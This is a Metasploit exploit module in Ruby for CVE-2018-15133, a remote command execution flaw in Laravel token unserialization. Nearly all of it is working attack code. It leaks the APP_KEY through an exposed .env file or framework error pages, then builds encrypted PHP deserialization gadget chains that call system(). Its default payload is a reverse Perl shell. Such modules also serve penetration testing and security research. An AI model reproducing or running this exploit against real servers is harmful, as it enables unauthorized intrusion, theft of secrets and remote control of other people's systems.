PHP Laravel Framework Token Unserialize Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.  
Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to  
an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.  
Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.  
Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.  
In some cases the APP_KEY is leaked which allows for discovery and exploitation.  
},  
'DisclosureDate' => '2018-08-07',  
'Author' =>  
[  
'Ståle Pettersen', # Discovery  
'aushack', # msf exploit + other leak  
],  
'References' =>  
[  
['CVE', '2018-15133'],  
['CVE', '2017-16894'],  
['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],  
['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],  
['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultTarget' => 0,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },  
'Payload' => { 'DisableNops' => true },  
'Targets' => [[ 'Automatic', {} ]],  
))  
  
register_options([  
OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),  
OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])  
])  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET'  
})  
  
# Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?  
unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i  
return CheckCode::Unknown  
end  
  
auth_token = check_appkey  
if auth_token.blank? || test_appkey(auth_token) == false  
vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'  
return CheckCode::Detected  
end  
  
random_string = Rex::Text.rand_text_alphanumeric(12)  
  
1.upto(4) do |method|  
vuln = generate_token("echo #{random_string}", auth_token, method)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'headers' => {  
'X-XSRF-TOKEN' => "#{vuln}",  
}  
})  
  
if res.body.include?(random_string)  
return CheckCode::Vulnerable  
# Not conclusive but witnessed in the wild  
elsif res.body.include?('Method Not Allowed')  
return CheckCode::Safe  
end  
end  
CheckCode::Detected  
rescue Rex::ConnectionError  
CheckCode::Unknown  
end  
  
def env_leak  
key = ''  
vprint_status 'Checking for CVE-2017-16894 .env information leak'  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '.env'),  
'method' => 'GET'  
})  
  
# Good but may be other software. Can also check for 'APP_NAME=Laravel' etc  
return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/  
key = $1  
  
if key  
vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"  
return key  
end  
  
vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'  
key  
end  
  
def framework_leak(decrypt_ex = true)  
key = ''  
if decrypt_ex  
# Possible config error / 0day found by aushack during pentest  
# Seen in the wild with recent releases  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'headers' => {  
'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger  
}  
})  
  
return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')  
else  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST'  
})  
  
return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')  
end  
# Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?  
  
# Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64  
if res.body =~ /\>base64:(.*)\<\/span\>/  
key = $1  
vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"  
end  
  
key  
end  
  
def check_appkey  
key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''  
return key unless key.empty?  
  
vprint_status 'APP_KEY not set. Will try to find it...'  
key = env_leak  
key = framework_leak if key.empty?  
key = framework_leak(false) if key.empty?  
key.empty? ? false : key  
end  
  
def test_appkey(value)  
value = Rex::Text.decode_base64(value)  
return true if value && value.length.to_i == 32  
  
false  
end  
  
def generate_token(cmd, key, method)  
# Ported phpggc Laravel RCE php objects :)  
case method  
when 1  
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'  
when 2  
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'  
when 3  
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'  
when 4  
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'  
end  
  
cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested  
cipher.encrypt  
cipher.key = Rex::Text.decode_base64(key)  
iv = cipher.random_iv  
  
value = cipher.update(payload_decoded) + cipher.final  
pload = Rex::Text.encode_base64(value)  
iv = Rex::Text.encode_base64(iv)  
mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv+pload)  
iv = iv.gsub('/', '\\/') # Escape slash  
pload = pload.gsub('/', '\\/') # Escape slash  
json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})  
json_out = Rex::Text.encode_base64(json_value)  
  
json_out  
end  
  
def exploit  
auth_token = check_appkey  
if auth_token.blank? || test_appkey(auth_token) == false  
vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'  
return  
end  
  
1.upto(4) do |method|  
sploit = generate_token(payload.encoded, auth_token, method)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'headers' => {  
'X-XSRF-TOKEN' => sploit,  
}  
}, 5)  
  
# Stop when one of the deserialization attacks works  
break if session_created?  
  
if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive  
print_status 'Target appears to be patched or otherwise immune'  
end  
end  
end  
end  
`